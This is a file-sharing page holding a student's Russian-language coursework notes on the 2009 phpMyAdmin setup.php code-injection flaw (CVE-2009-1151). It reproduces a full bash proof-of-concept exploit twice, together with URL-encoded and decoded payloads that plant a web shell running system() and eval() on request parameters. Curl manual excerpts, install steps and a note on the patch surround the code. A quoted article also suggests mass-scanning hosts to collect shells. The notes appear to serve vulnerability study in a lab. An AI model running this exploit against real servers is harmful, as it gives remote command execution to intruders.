Logo GenDocs.ru

Поиск по сайту:  


Загрузка...

Информационная безопасность (МАИ) - файл phpMyAdmin.doc


Информационная безопасность (МАИ)
скачать (21529.2 kb.)

Доступные файлы (10):

echo.c
my_exploit.c
phpMyAdmin.doc122kb.12.12.2010 18:39скачать
minimal2.pdf21kb.08.12.2010 20:01скачать
minimal.pdf51kb.08.12.2010 20:02скачать
month.pdf223kb.08.12.2010 19:42скачать
p2.py
p3.py
Исследование.doc213kb.15.12.2010 22:10скачать
report.doc155kb.05.01.2011 18:07скачать

содержание
Загрузка...

phpMyAdmin.doc

Реклама MarketGid:
Загрузка...

http://www.magxak.ru/xa127/044/1.htm -- дырка в phpmyadmin 2009 года (исходное сообщение)


phpMyAdmin (/scripts/setup.php) PHP Code Injection Exploit

Brief:

Давно нас не баловали хорошими уязвимостями в популярных проектах. Сегодня я постараюсь это исправить. 4 июня багоискателям удалось обнаружить изъян в проекте phpMyAdmin, а именно в генераторе настроечных файлов «/scripts/setup.php». Суть бага довольно проста: в процессе установки phpMyAdmin происходит генерация основных параметров (хоста mysql, логина, пароля, названия базы и т.п.) с последующим их сохранением в «/config/config.inc.php». Так вот, до недавнего времени разработчики довольно аккуратно фильтровали нежелательный контент, но в последних версиях чуть-чуть изменили алгоритм. В итоге, злоумышленник может передать ядовитые параметры, позволяющие записать произвольный код в конфигурационный файл. Затем, по обращению к этому конфигу, хакер получит полноценный Web-шелл.

А теперь разберемся, как это происходит на самом деле. Вместе с прочими параметрами в значение переменной “host” инжектируется, к примеру, фраза «phpinfo();//localhost». На выходе получим вполне работоспособный сценарий, выводящий phpinfo(). Помимо прочего эксплойт позволяет внедрить «passthru()» для передачи команд Web-шеллу при помощи значения переменной «c».

Но не думай, что все так просто. Эксплойт накладывает некоторые ограничения на phpMyAdmin. Во-первых, нужно, чтобы администратор устанавливал проект через мастера, а не вручную. Во-вторых, необходимо наличие файла «scripts/setup.php», который почему-то (интересно, почему? :)) любят удалять. В-третьих, директория «config/» также должна присутствовать, а на файл «config.inc.php» должен быть установлен атрибут записи. В четвертых, на машине необходим работоспособный curl (с его помощью происходит инжектирование кода). И, наконец, уязвимыми версиями phpMyAdmin являются 2.11.x до 2.11.9.5 и 3.x до 3.1.3.1 (все релизы достаточно новые и выпускались до апреля этого года).

Как итог, хакер может без труда написать автосканер phpMyadmin и эксплуатировать каждый хост. На мой взгляд, вероятность успехи атаки недалека от 30%, а при таких раскладах, одна лишь ночь сканирования будет приносить взломщику море нелишних Web-шеллов.

Exploit:

Ниже приводится ключевая функция exploit(), отвечающая за инжект вредоносного кода.

function exploit {

postdata="token=$1&action=save&configuration="\
"a:1:{s:7:%22Servers%22%3ba:1:{i:0%3ba:6:{s:23:%22host%27]="\
"%27%27%3b%20phpinfo%28%29%3b//%22%3bs:9:%22localhost%22%3bs:9:"\
"%22extension%22%3bs:6:%22mysqli%22%3bs:12:%22connect_type%22%3bs:3:"\
"%22tcp%22%3bs:8:%22compress%22%3bb:0%3bs:9:%22auth_type%22%3bs:6:"\
"%22config%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}&eoltype=unix"

postdata2="token=$1&action=save&configuration=a:1:"\
"{s:7:%22Servers%22%3ba:1:{i:0%3ba:6:{s:136:%22host%27%5d="\
"%27%27%3b%20if(\$_GET%5b%27c%27%5d){echo%20%27%3cpre%3e%27%3b"\
"system(\$_GET%5b%27c%27%5d)%3becho%20%27%3c/pre%3e%27%3b}"\
"if(\$_GET%5b%27p%27%5d){echo%20%27%3cpre%3e%27%3beval"\
"(\$_GET%5b%27p%27%5d)%3becho%20%27%3c/pre%3e%27%3b}%3b//"\
"%22%3bs:9:%22localhost%22%3bs:9:%22extension%22%3bs:6:%22"\
"mysqli%22%3bs:12:%22connect_type%22%3bs:3:%22tcp%22%3bs:8:"\
"%22compress%22%3bb:0%3bs:9:%22auth_type%22%3bs:6:%22config"\
"%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}&eoltype=unix"

    flag="/tmp/$(basename $0).$RANDOM.phpinfo.flag.html"
    
    echo "[+] attempting to inject phpinfo() ..."
    curl -ks -b $2 -d "$postdata" --url "$3/scripts/setup.php" >/dev/null

    if curl -ks --url "$3/config/config.inc.php" | grep "phpinfo()" >/dev/null
    then
        curl -ks --url "$3/config/config.inc.php" >$flag    
        echo "[+] success! phpinfo() injected successfully! output saved on $flag"
        curl -ks -b $2 -d $postdata2 --url "$3/scripts/setup.php" >/dev/null
        echo "[+] you *should* now be able to remotely run shell commands and PHP code using your browser. i.e.:"
        echo "    $3/config/config.inc.php?c=ls+-l+/"
        echo "    $3/config/config.inc.php?p=phpinfo();"
        echo "    please send any feedback/improvements for this script to"\
        "unknown.pentester<AT_sign__here>gmail.com"
    else
        echo "[+] no luck injecting to $3/config/config.inc.php :("
        exit
    fi
}
# end of exploit function

Если ты не поленишься написать простенький PHP-парсер передаваемых строк, то получишь посимвольную картину инжекта.

Полный код эксплойта можно скачать по ссылке securitylab.ru/poc/extra/381413.php.

Targets:

Уязвимыми версиями phpMyAdmin являются 2.11.x до 2.11.9.5 и 3.x до 3.1.3.1 (все релизы достаточно новые и выпускались до апреля этого года).

Solution:

Нависшую угрозу безопасности решит либо удаление файла «/scripts/setup.php», либо изолирование каталога «/config» вне Web-директории, либо (самый предпочтительный вариант) обновление phpMyAdmin до свежей версии. Последнее можно осуществить с официальной локации: sourceforge.net/projects/phpmyadmin.


http://php-myadmin.ru/doc/install.html -- установка phpMyAdmin

Быстрая установка


1. Распакуйте дистрибутив в корневую директорию вашего веб-сервера (убедитесь, что поддиректории распакованы тоже): tar -xzvf phpMyAdmin_x.x.x.tar.gz. Если Вы не имеете прямого доступа к корню вашего веб-пространства, распакуйте файлы в директорию на локальной машине и, после 3-го шага, скопируйте директорию на веб-сервер, например, через ftp.



2. Убедитесь, что все скрипты имеют соответствующего владельца (если PHP запущен в безопасном режиме, наличие нескольких скриптов, принадлежащих разным владельцам, вызовет проблему в работе). Смотри FAQ 4.2 и FAQ 1.26.



3. Теперь Вы должны создать конфигурационный файл (config.inc.php). Создание конфигурационного файла - необходимое условие прежде всего для запуска phpMyAdmin, а также необходимо для задания некоторых возможностей. Эта задача может быть выполнена двумя разными способами. Традиционно, пользователи могут вручную отредактировать копию файла config.inc.php. Кроме этого, пользователи, предпочитающие графическую инсталляцию, могут воспользоваться мастером установки (скриптом инсталляции).

Для того, чтобы вручную создать конфигурационный файл, достаточно простейшего текстового редактора, с помощью которого нужно создать файл config.inc.php. Для упрощения задачи, Вы можете скопировать в текстовый редактор содержимое файла config.sample.inc.php - образца рабочей конфигурации, содержащей минимальное количество конфигурационных переменных.

Созданный файл необходимо поместить в главную директорию phpMyAdmin (ту, которая содержит index.php). phpMyAdmin сперва загружает libraries/config.default.php, а затем подменяет значения прописанных в нем переменных теми, что находит в config.inc.php. Если значение по умолчанию (тех переменных, что определены в libraries/config.default.php) Вас устраивает, тогда нет необходимости включать его в config.inc.php. Для запуска phpMyAdmin вам понадобятся как минимум несколько директив, простейшая конфигурация может выглядеть так:

<?php
$cfg['blowfish_secret'] = 'ba17c1ec07d65003'; // use here a value of your choice
$i=0;
$i++;
$cfg['Servers'][$i]['auth_type'] = 'cookie';
?>


Или, если вы не хотите вводить каждый раз логин/пароль (данная конфигурация не рекомендуется из соображений безопасности), конфигурационный файл может выглядеть так:

<?php
$i=0;
$i++;
$cfg['Servers'][$i]['user'] = 'root';
$cfg['Servers'][$i]['password'] = 'cbb74bc'; // use here your password
?>


Для более полного ознакомления с функциями и описаниями значений всех конфигурационных переменных читайте раздел документации"Конфигурирование".

Вместо ручного редактирования файла config.inc.php, Вы можете использовать скрипт установки. Прежде всего, вам необходимо вручную создать в главной директории phpMyAdmin папку 'config'. Это - мера безопасности. При работе под ОС Linux/Unix Вы можете использовать следующие команды:

cd phpMyAdmin
mkdir config # создает директорию для хранения
chmod o+rw config # дает всем пользователям права на запись в неё


Для редактирования уже существующего конфигурационного файла, можно воспользоваться следующими командами:

cp config.inc.php config/ # копирует текущую конфигурацию для редактирования
chmod o+w config/config.inc.php # дает всем пользователям права на запись в неё


На других платформах, просто создайте директорию и убедитесь, что Ваш веб-сервер имеет права на чтение и запись в неё. FAQ 1.26 может помочь в этом случае.

Затем, откройте в браузере scripts/setup.php. Помните, что изменения не будут сохранены на диск до тех пор, пока не будет нажата кнопка "Save" в блоке "Configuration". Если все хорошо, то скрипт сохранит новый config.inc.php в директорию config/, но если веб-сервер не имеет необходимых прав, Вы можете увидеть сообщение об ошибке "Cannot load or save configuration". В таком случае, убедитесь, что директория config/ создана и имеет необходимые права, либо воспользуйтесь ссылкой "Download" для сохранения конфигурационного файла на локальный диск и последующей закачки (например, через FTP) на сервер.

Как только файл был сохранен, необходимо переместить его из директории config/ в главную директорию phpMyAdmin и в целях безопасности сбросить права на него:

mv config/config.inc.php . # перемещает файл в текущую директорию
chmod o-rw config.inc.php # отменяет права на чтение и запись для всех остальных пользователей


Теперь файл готов к использованию. Вы можете просмотреть и отредактировать конфигурационный файл в текстовом редакторе, если потребуется установка некоторых расширенных опций, настройка которых не предусмотрена скриптом установки.


^

http://www.securitylab.ru/poc/extra/381413.php -- полный код эксплойта


#!/bin/bash

# CVE-2009-1151: phpMyAdmin '/scripts/setup.php' PHP Code Injection RCE PoC v0.11
# by pagvac (gnucitizen.org), 4th June 2009.
# special thanks to Greg Ose (labs.neohapsis.com) for discovering such a cool vuln, 
# and to str0ke (milw0rm.com) for testing this PoC script and providing feedback!

# PoC script successfully tested on the following targets:
# phpMyAdmin 2.11.4, 2.11.9.3, 2.11.9.4, 3.0.0 and 3.0.1.1
# Linux 2.6.24-24-generic i686 GNU/Linux (Ubuntu 8.04.2)

# attack requirements:
# 1) vulnerable version (obviously!): 2.11.x before 2.11.9.5
# and 3.x before 3.1.3.1 according to PMASA-2009-3
# 2) it *seems* this vuln can only be exploited against environments
# where the administrator has chosen to install phpMyAdmin following
# the *wizard* method, rather than manual method: http://snipurl.com/jhjxx
# 3) administrator must have NOT deleted the '/config/' directory
# within the '/phpMyAdmin/' directory. this is because this directory is
# where '/scripts/setup.php' tries to create 'config.inc.php' which is where
# our evil PHP code is injected 8)

# more info on:
http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php
http://labs.neohapsis.com/2009/04/06/about-cve-2009-1151/

if [[ $# -ne 1 ]]
then
    echo "usage: ./$(basename $0) <phpMyAdmin_base_URL>"
    echo "i.e.: ./$(basename $0) http://target.tld/phpMyAdmin/"
    exit
fi

if ! which curl >/dev/null
then
    echo "sorry but you need curl for this script to work!"
           echo "on Debian/Ubuntu: sudo apt-get install curl"
           exit
fi


function exploit {

postdata="token=$1&action=save&configuration="\
"a:1:{s:7:%22Servers%22%3ba:1:{i:0%3ba:6:{s:23:%22host%27]="\
"%27%27%3b%20phpinfo%28%29%3b//%22%3bs:9:%22localhost%22%3bs:9:"\
"%22extension%22%3bs:6:%22mysqli%22%3bs:12:%22connect_type%22%3bs:3:"\
"%22tcp%22%3bs:8:%22compress%22%3bb:0%3bs:9:%22auth_type%22%3bs:6:"\
"%22config%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}&eoltype=unix"

postdata2="token=$1&action=save&configuration=a:1:"\
"{s:7:%22Servers%22%3ba:1:{i:0%3ba:6:{s:136:%22host%27%5d="\
"%27%27%3b%20if(\$_GET%5b%27c%27%5d){echo%20%27%3cpre%3e%27%3b"\
"system(\$_GET%5b%27c%27%5d)%3becho%20%27%3c/pre%3e%27%3b}"\
"if(\$_GET%5b%27p%27%5d){echo%20%27%3cpre%3e%27%3beval"\
"(\$_GET%5b%27p%27%5d)%3becho%20%27%3c/pre%3e%27%3b}%3b//"\
"%22%3bs:9:%22localhost%22%3bs:9:%22extension%22%3bs:6:%22"\
"mysqli%22%3bs:12:%22connect_type%22%3bs:3:%22tcp%22%3bs:8:"\
"%22compress%22%3bb:0%3bs:9:%22auth_type%22%3bs:6:%22config"\
"%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}&eoltype=unix"

    flag="/tmp/$(basename $0).$RANDOM.phpinfo.flag.html"
    
    echo "[+] attempting to inject phpinfo() ..."
    curl -ks -b $2 -d "$postdata" --url "$3/scripts/setup.php" >/dev/null

    if curl -ks --url "$3/config/config.inc.php" | grep "phpinfo()" >/dev/null
    then
        curl -ks --url "$3/config/config.inc.php" >$flag    
        echo "[+] success! phpinfo() injected successfully! output saved on $flag"
        curl -ks -b $2 -d $postdata2 --url "$3/scripts/setup.php" >/dev/null
        echo "[+] you *should* now be able to remotely run shell commands and PHP code using your browser. i.e.:"
        echo "    $3/config/config.inc.php?c=ls+-l+/"
        echo "    $3/config/config.inc.php?p=phpinfo();"
        echo "    please send any feedback/improvements for this script to"\
        "unknown.pentester<AT_sign__here>gmail.com"
    else
        echo "[+] no luck injecting to $3/config/config.inc.php :("
        exit
    fi
}
# end of exploit function

cookiejar="/tmp/$(basename $0).$RANDOM.txt"
token=`curl -ks -c $cookiejar --url "$1/scripts/setup.php" | grep \"token\" | head -n 1 | cut -d \" -f 12`
echo "[+] checking if phpMyAdmin exists on URL provided ..."

#if grep phpMyAdmin $cookiejar 2>/dev/null > /dev/null
if grep phpMyAdmin $cookiejar &>/dev/null
then
    length=`echo -n $token | wc -c`

    # valid form token obtained?
    if [[ $length -eq 32 ]]
    then
        echo "[+] phpMyAdmin cookie and form token received successfully. Good!"
        # attempt exploit!
        exploit $token $cookiejar $1
    else
        echo "[+] could not grab form token. you might want to try exploiting the vuln manually :("
        exit
    fi
else
    echo "[+] phpMyAdmin NOT found! phpMyAdmin base URL incorrectly typed? wrong case-sensitivity?"
    exit
fi

http://www.cs.sunysb.edu/documentation/curl/index.html -- описание того, как пользоваться curl

^

http://curl.haxx.se/docs/manpage.html -- описание ключей, используемых в curl


exploit $token $cookiejar $1

    curl -ks -b $2 -d "$postdata" --url "$3/scripts/setup.php" >/dev/null

-k/--insecure

(SSL) This option explicitly allows curl to perform "insecure" SSL connections and transfers. All SSL connections are attempted to be made secure by using the CA certificate bundle installed by default. This makes all connections considered "insecure" fail unless -k/--insecure is used.

-s/--silent

Silent or quiet mode. Don't show progress meter or error messages. Makes Curl mute.

-b/--cookie <name=data>

(HTTP) Pass the data to the HTTP server as a cookie. It is supposedly the data previously received from the server in a "Set-Cookie:" line. The data should be in the format "NAME1=VALUE1; NAME2=VALUE2".

If no '=' symbol is used in the line, it is treated as a filename to use to read previously stored cookie lines from, which should be used in this session if they match. Using this method also activates the "cookie parser" which will make curl record incoming cookies too, which may be handy if you're using this in combination with the -L/--location option. The file format of the file to read cookies from should be plain HTTP headers or the Netscape/Mozilla cookie file format.

NOTE that the file specified with -b/--cookie is only used as input. No cookies will be stored in the file. To store cookies, use the -c/--cookie-jar option or you could even save the HTTP headers to a file using -D/--dump-header!

If this option is set more than once, the last one will be the one that's used.

-d/--data <data>

(HTTP) Sends the specified data in a POST request to the HTTP server, in the same way that a browser does when a user has filled in an HTML form and presses the submit button. This will cause curl to pass the data to the server using the content-type application/x-www-form-urlencoded. Compare to -F/--form.

-d/--data is the same as --data-ascii. To post data purely binary, you should instead use the --data-binary option. To URL-encode the value of a form field you may use --data-urlencode.

If any of these options is used more than once on the same command line, the data pieces specified will be merged together with a separating &-symbol. Thus, using '-d name=daniel -d skill=lousy' would generate a post chunk that looks like 'name=daniel&skill=lousy'.

If you start the data with the letter @, the rest should be a file name to read the data from, or - if you want curl to read the data from stdin. The contents of the file must already be URL-encoded. Multiple files can also be specified. Posting data from a file named 'foobar' would thus be done with --data @foobar.

--url <URL>

Specify a URL to fetch. This option is mostly handy when you want to specify URL(s) in a config file. This option may be used any number of times. To control where this URL is written, use the -o/--output or the -O/--remote-name options.


http://phpmyadmin.svn.sourceforge.net/viewvc/phpmyadmin?revision=12301&view=revision – заплатка для уязвимости

Уязвимая версия phpMyAdmin 2.11.9.3 была скачана по адресу http://www.oldapps.com/phpmyadmin.php?old_phpmyadmin=3#Download



Заплатка заключается в замене всех недокументированных букв в передаваемых ключах на безвредный символ «_».


Распарсенный вариант эксплойта

postdata="token=$1&action=save&configuration="\

"a:1:{s:7:"Servers";a:1:{i:0;a:6:{s:23:"host']="\

"''; phpinfo();//";s:9:"localhost";s:9:"\

""extension";s:6:"mysqli";s:12:"connect_type";s:3:"\

""tcp";s:8:"compress";b:0;s:9:"auth_type";s:6:"\

""config";s:4:"user";s:4:"root";}}}&eoltype=unix"


postdata2="token=$1&action=save&configuration=a:1:"\

"{s:7:"Servers";a:1:{i:0;a:6:{s:136:"host']="\

"''; if(\$_GET['c']){echo '<pre>';"\

"system(\$_GET['c']);echo '</pre>';}"\

"if(\$_GET['p']){echo '<pre>';eval"\

"(\$_GET['p']);echo '</pre>';};//"\

"";s:9:"localhost";s:9:"extension";s:6:""\

"mysqli";s:12:"connect_type";s:3:"tcp";s:8:"\

""compress";b:0;s:9:"auth_type";s:6:"config"\

"";s:4:"user";s:4:"root";}}}&eoltype=unix"


Судя по всему, в postdata содержится первая часть эксплойта, котрая пишет phpinfo();//, а в postdata2 вторая, которая дописывает код выполнения того, что содержится в переменных c и p. Понять, что же все-таки происходит, поможет практика.


Установка linux apache mysql php


http://www.yaap.info/page/ustanovka-i-nastrojka-lamp-linuxapachemysqlphp-v-ubuntu

sudo apt-get install apache2 php5 php5-mysql mysql-server-5.0

Пароль для mysql 111.

http://localhost php и mysql работает.


Скачать файл (21529.2 kb.)

Поиск по сайту:  

© gendocs.ru
При копировании укажите ссылку.
обратиться к администрации
Рейтинг@Mail.ru